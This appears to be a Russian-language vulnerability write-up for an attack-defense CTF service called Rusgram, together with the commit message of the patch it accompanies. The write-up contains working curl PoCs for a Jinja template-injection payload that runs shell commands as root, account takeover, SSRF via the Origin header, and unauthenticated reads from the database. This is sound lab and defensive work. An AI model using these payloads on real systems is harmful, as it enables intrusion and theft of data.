Files
ALPHA-TRAIN2/services/rusgram/VULNS.md
T
dmeetrogonandClaude Opus 5 14b5855b86 rusgram: патч RCE, захвата аккаунта, SSRF и падений в 500
Разбор сервиса и все PoC — в services/rusgram/WRITEUP.md и VULNS.md.
Каждая находка воспроизведена на живом стенде до патча и перепроверена после.

content.py — V1 (RCE, крит) и V5:
  template_folder='files' совпадает с каталогом БД, поэтому render_template(path)
  с путём из URL рендерил файл пользователя как исходник Jinja-шаблона. Имя юзера
  выбирает атакующий: регистрируем `pwn.html`, кладём payload себе в first_name,
  дёргаем /db/users/pwn.html через публичный :38000 — RCE от root в контейнере,
  где смонтирован весь website/. Теперь рендерим только 4 реальные страницы.

logic.py — V2 (захват аккаунта) и V3/V6 (SSRF/открытый редирект):
  register не проверял существование юзера, а database делал read-modify-write,
  так что повторная регистрация ПЕРЕЗАПИСЫВАЛА пароль, сохраняя msg и профиль:
  чужой аккаунт вместе с флагом и сломанный логин у чекера. Теперь 409.
  Location строился из заголовка Origin, а proxy ходил по нему серверсайд —
  чтение внутренней сети. Редирект стал фиксированным /login.html.

database.py — снижает ущерб от V4:
  валидация имени юзера как имени файла, белый список полей, пароль можно только
  создать, но не перезаписать (смены пароля в сервисе нет), 400/404 вместо 500.

proxy.py — defense in depth к V3: allow_redirects=False на ветке api/.

V8: единая безопасная проверка сессии вместо 4 копий — кривая кука, отсутствие
куки, несуществующий юзер и нечисловой img больше не роняют воркер в 500.

Формат куки login||password и плейнтекстовые пароли осознанно НЕ трогали:
чекер почти наверняка на них завязан.

Тесты: services/rusgram/test_rusgram.py — SLA 16/16, SEC 21/21 на патче;
на services_vulnerable та же секция SEC падает 12 раз. Сплойт собирает 0 флагов.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01NN8sHQuGbTBLGGkJyfxzXr
2026-08-26 11:31:28 +03:00

348 lines
16 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# Rusgram — отчёт по уязвимостям
Все PoC ниже **отработаны на живом стенде** (`docker compose up` из этой папки),
флаги реально извлечены. Формат флага: `[A-Z0-9]{31}=`.
Стенд для проверки: жертва `victim_krmltc`, флаги в `msg` и `first_name`.
| # | Уязвимость | Класс | Порт | Крит |
|---|---|---|---|---|
| [V1](#v1) | SSTI → RCE от root через имя пользователя `*.html` | CWE-1336 | **38000** | 🔴 CRITICAL |
| [V2](#v2) | Перерегистрация чужого аккаунта = ATO без аутентификации | CWE-284 | **38000** | 🔴 CRITICAL |
| [V3](#v3) | SSRF: proxy серверсайд идёт по редиректу из заголовка `Origin` | CWE-918 | **38000** | 🔴 HIGH |
| [V4](#v4) | `database` без аутентификации опубликован наружу | CWE-306 | 38002 | 🔴 HIGH |
| [V5](#v5) | `content` наружу: чтение файла любого юзера без `.html` | CWE-306 | 38004 | 🟠 HIGH |
| [V6](#v6) | Открытый редирект через `Origin` | CWE-601 | 38000 | 🟡 MEDIUM |
| [V7](#v7) | Пароли в плейнтексте + неподписанная кука-сессия | CWE-256/565 | — | 🟡 MEDIUM |
| [V8](#v8) | Необработанные исключения → 500 (`split("||")`, `images/<bad>`) | CWE-248 | 38000 | 🟢 LOW |
Отрицательные проверки (протестированы, **не** воспроизводятся) — в конце.
---
<a name="v1"></a>
## V1 — SSTI → RCE от root через имя пользователя, оканчивающееся на `.html` 🔴
**Где:** `content/content.py:45` + `proxy/proxy.py:19-21`
```python
# content.py
app = Flask(__name__, template_folder='files') # 'files' == том ./website
...
else:
return render_template(path) # path из URL
```
### Суть
`template_folder` узла content — это `files`, то есть **тот же самый том
`./website`, внутри которого лежит `db/users/<username>`**. Файл пользователя —
это данные, полностью подконтрольные атакующему, но `render_template()`
скармливает его Jinja как **исходник шаблона**.
Ключ к тому, чтобы дотянуться до этого через публичный порт 38000: proxy
пропускает в content только пути с расширением `.html`
```python
ext = path.split('.')[-1]
if ext == "html":
resp = r.get(f"http://{content_node}/{path}?...")
```
…но **имя пользователя выбирает атакующий**. Регистрируем юзера с логином
`pwn.html` → его файл ложится в `files/db/users/pwn.html` → запрос
`GET /db/users/pwn.html` проходит фильтр расширения, попадает в `else`-ветку
`content.py` и рендерится как шаблон. Содержимое шаблона мы заранее записали
сами через `/api/update_personal`.
Autoescape тут не спасает: он экранирует **результат** выражения, но не мешает
Jinja это выражение **выполнить**.
### PoC (проверен)
```bash
BASE=http://TARGET:38000
# 1. регистрируем юзера, чьё имя оканчивается на .html
curl -s -X POST $BASE/api/register -H 'Content-Type: application/json' \
-d '{"login":"pwn.html","password":"p"}'
# 2. кладём Jinja-payload в своё же поле first_name
curl -s -X POST $BASE/api/update_personal -H 'Content-Type: application/json' \
-H 'Cookie: session=pwn.html||p' \
-d '{"first_name":"{{ lipsum.__globals__.os.popen('"'"'id'"'"').read() }}","second_name":"x","email":"x"}'
# 3. заставляем content отрендерить наш файл как шаблон — через ПУБЛИЧНЫЙ порт
curl -s $BASE/db/users/pwn.html
```
Реальный вывод со стенда:
```
{"password": "p", "first_name": "uid=0(root) gid=0(root) groups=0(root),...
---
pwn.html
victim_krmltc
", "second_name": "x", "email": "x"}
```
**RCE от root** в контейнере content, где смонтирован весь `website/`
то есть вся база всех пользователей.
### Сбор всех флагов одним запросом
```python
payload = "{{ lipsum.__globals__.os.popen('grep -rhoE \"[A-Z0-9]{31}=\" /app/files/db/').read() }}"
```
Со стенда вернулось: `['2F2HOFY5DQEEL1VQML2BX7ZY4I9NW24=', 'QZHZAGZTFOSPU6D6KD9R98GF7FQATQV=']`
— оба посаженных флага, за один HTTP-запрос, без знания имён жертв
(`grep -r` сам обходит каталог).
### ⚠️ Важный нюанс эксплуатации: кэш Jinja
Flask вне debug-режима **не перечитывает шаблоны** (`auto_reload` выключен).
Как только `db/users/pwn.html` отрендерился первый раз, скомпилированная версия
кэшируется, и правки файла больше не подхватываются.
Практический вывод для сплойта: **на каждый раунд — свежее случайное имя юзера**,
и payload обязательно кладётся **до** первого запроса на рендер. В `sploit_rusgram.py`
это учтено.
---
<a name="v2"></a>
## V2 — Перерегистрация чужого аккаунта: ATO без аутентификации 🔴
**Где:** `logic/logic.py:23-33` + `database/database.py:22-33`
```python
# logic.register — никакой проверки существования
resp = r.post(f"http://{database_node}/users/{username}/password", json={"value": password})
# database.users POST — тоже никакой
if not os.path.exists(path):
Path(path).touch()
...
data[field] = request.json["value"] # read-modify-write
```
### Суть
`register` для существующего юзера — это **не ошибка, а перезапись пароля**.
Причём read-modify-write сохраняет все остальные поля: `msg`, `first_name` и
прочее **остаются на месте**. Атакующий получает 200 и валидную куку на чужой
аккаунт со всем его содержимым.
Это одновременно **кража флагов** и **саботаж**: у чекера ломается логин в
собственный аккаунт.
### PoC (проверен)
```bash
BASE=http://TARGET:38000
VICTIM=victim_krmltc
curl -s -i -X POST $BASE/api/register -H 'Content-Type: application/json' \
-d "{\"login\":\"$VICTIM\",\"password\":\"hacked123\"}"
# → HTTP/1.1 200 OK
# → Set-Cookie: session=victim_krmltc||hacked123; Path=/
curl -s $BASE/ -H "Cookie: session=$VICTIM||hacked123" | grep -oE '[A-Z0-9]{31}='
```
Реальный вывод со стенда:
```
2F2HOFY5DQEEL1VQML2BX7ZY4I9NW24=
QZHZAGZTFOSPU6D6KD9R98GF7FQATQV=
```
Оба флага, ноль исходных кредов. Нужно только знать имя жертвы — оно берётся из
комментариев (V4) или из `ls` через V1.
---
<a name="v3"></a>
## V3 — SSRF: proxy серверсайд ходит по редиректу из `Origin` 🔴
**Где:** `logic/logic.py:41,55,65` + `proxy/proxy.py:28`
```python
# logic: Location строится из заголовка, который контролирует атакующий
return redirect(request.headers.get("Origin", "") + "/login.html", code=302)
# proxy: requests по умолчанию allow_redirects=True — и ИДЁТ по этому Location
resp = passcall(f"http://{logic_node}/{path[4:]}", json=request.get_json(), headers=request.headers)
return resp.content, resp.status_code, resp.headers.items()
```
### Суть
Когда проверка пароля не проходит, logic отдаёт 302 на `Origin + "/login.html"`.
Proxy получает этот 302 и, поскольку `requests` по умолчанию следует редиректам,
**сам делает запрос на указанный URL из своего контейнера** — и возвращает тело
атакующему.
Хвост `/login.html` обрезается тривиально: заканчиваем `Origin` на `?x=`, и он
уезжает в query string.
Это самая неприятная из находок для защиты, потому что **работает даже если
закрыть порты 3800138004**: proxy ходит во внутреннюю сеть за нас.
### PoC (проверен)
```bash
BASE=http://TARGET:38000
VICTIM=victim_krmltc
curl -s -X POST $BASE/api/send_msg -H 'Content-Type: application/json' \
-H "Cookie: session=$VICTIM||WRONGPASS" \
-H "Origin: http://database:5002/users/$VICTIM/msg?x=" \
-d '{"msg":"x"}'
```
Реальный вывод со стенда:
```
{"data":"2F2HOFY5DQEEL1VQML2BX7ZY4I9NW24=","status":"ok"}
```
Флаг из внутреннего database-узла — через один только публичный порт 38000.
Подтверждение самого 302 (напрямую в logic):
```
POST /send_msg Origin: https://evil.example
→ 302, Location: https://evil.example/login.html
```
Запрос на внешний хост со стенда вернул 500 (в тестовой docker-сети нет egress) —
**на боевом vulnbox, если egress есть, это ещё и канал эксфильтрации.**
---
<a name="v4"></a>
## V4 — `database` без аутентификации опубликован наружу 🔴
**Где:** `docker-compose.yml` (`38002:5002`) + весь `database/database.py`
Узел database не имеет **ни одной** проверки доступа. Он опубликован на хосте.
### PoC (проверен)
```bash
D=http://TARGET:38002
curl -s $D/users/victim_krmltc/password # {"data":"hacked123","status":"ok"}
curl -s $D/users/victim_krmltc/msg # {"data":"2F2HOFY5DQ...","status":"ok"} ← ФЛАГ
curl -s $D/users/victim_krmltc/first_name # {"data":"QZHZAGZTFO...","status":"ok"} ← ФЛАГ
```
Запись работает так же — можно перезаписать пароль/поля любому юзеру (саботаж):
```bash
curl -s -X POST $D/users/victim_krmltc/password \
-H 'Content-Type: application/json' -d '{"value":"OWNED"}' # → 200
```
**Энумерация имён** (без RCE): авторы комментариев отдаются в открытую.
```bash
for i in $(seq 1 16); do curl -s $D/images/$i; done # comments: [["username","text"],...]
```
---
<a name="v5"></a>
## V5 — `content` наружу: чтение файла любого юзера 🟠
**Где:** `docker-compose.yml` (`38004:5004`) + `content/content.py:45`
Напрямую в content ограничение на `.html` (которое накладывает proxy) отсутствует —
`render_template(path)` вызывается для любого пути.
### PoC (проверен)
```bash
curl -s http://TARGET:38004/db/users/victim_krmltc
```
Реальный вывод со стенда:
```
{"password": "hacked123", "msg": "2F2HOFY5DQEEL1VQML2BX7ZY4I9NW24=",
"first_name": "QZHZAGZTFOSPU6D6KD9R98GF7FQATQV=", "second_name": "Ivanov", ...}
```
Здесь же работает и V1 (SSTI) — но уже без требования, чтобы имя оканчивалось на `.html`.
---
<a name="v6"></a>
## V6 — Открытый редирект через `Origin` 🟡
Тот же код, что и в V3. Если смотреть на logic напрямую (38003) — классический
open redirect на произвольный домен:
```
POST /send_msg, Cookie: session=<существующий_юзер>||неверный_пароль,
Origin: https://evil.example
→ 302 Location: https://evil.example/login.html
```
Через proxy наружу это превращается в SSRF (V3), поэтому чинится одним патчем.
---
<a name="v7"></a>
## V7 — Плейнтекстовые пароли и неподписанная сессия 🟡
* `website/db/users/*` хранит `"password"` как есть — любое чтение файла (V1/V4/V5)
сразу даёт креды.
* Кука `session=<login>||<password>` не подписана, без `HttpOnly`/`Secure`/срока жизни,
и **гоняет пароль в открытом виде в каждом запросе**.
В условиях A/D полностью переделывать схему рискованно (чекер завязан на формат
куки), поэтому в патче это осознанно **не** менялось — см. `PATCH.md`.
---
<a name="v8"></a>
## V8 — Необработанные исключения → 500 🟢
Проверено на стенде:
* `GET /` с кукой `session=a||b||c`**500** (`ValueError: too many values to unpack`
в `split("||")`). Аналогично во всех четырёх ручках logic.
* `GET /images/0`, `/images/-1`, `/images/99`, `/images/abc` → **500**
(`FileNotFoundError`, файла нет).
* `POST /api/*` без куки `session` → **500** (`KeyError`).
* Запрос к несуществующему юзеру: `.json()["data"]` по 404-ответу → **500** (`KeyError`).
Флагов не даёт, но шумит в логах и может ронять SLA, если чекер ходит кривыми
запросами. Плюс скрывает настоящие атаки в шуме.
---
## Отрицательные результаты (проверено — НЕ работает)
Чтобы команда не тратила время:
| Гипотеза | Результат |
|---|---|
| Path traversal в `static` (`/css/..%2f..%2fetc%2fpasswd.css`) | **404.** Конвертер `<name>` в Werkzeug не матчит слэши |
| Инъекция пути через `img_id` в `post_comment` (`../users/<victim>`) | **404** на database. Роут `<string:id>` не матчит многосегментные пути |
| Traversal через `username` в database (`..`, `%2f`) | Не матчится роутом / упирается в каталог |
| Traversal через `render_template` (`../../etc/passwd`) | Jinja `split_template_path` режет `..` |
| SSRF (V3) на внешний хост | 500 на стенде — в тестовой docker-сети нет egress. **На vulnbox проверить отдельно** |
---
## Приоритет патчей
1. **V1** — RCE, публичный порт. Чинить первым.
2. **V2** — ATO + саботаж чекера, публичный порт.
3. **V3** — SSRF, обходит закрытие портов.
4. **V4/V5** — закрыть публикацию внутренних портов (осторожно, см. `PATCH.md`).
5. **V8** — устойчивость, чтобы не терять SLA.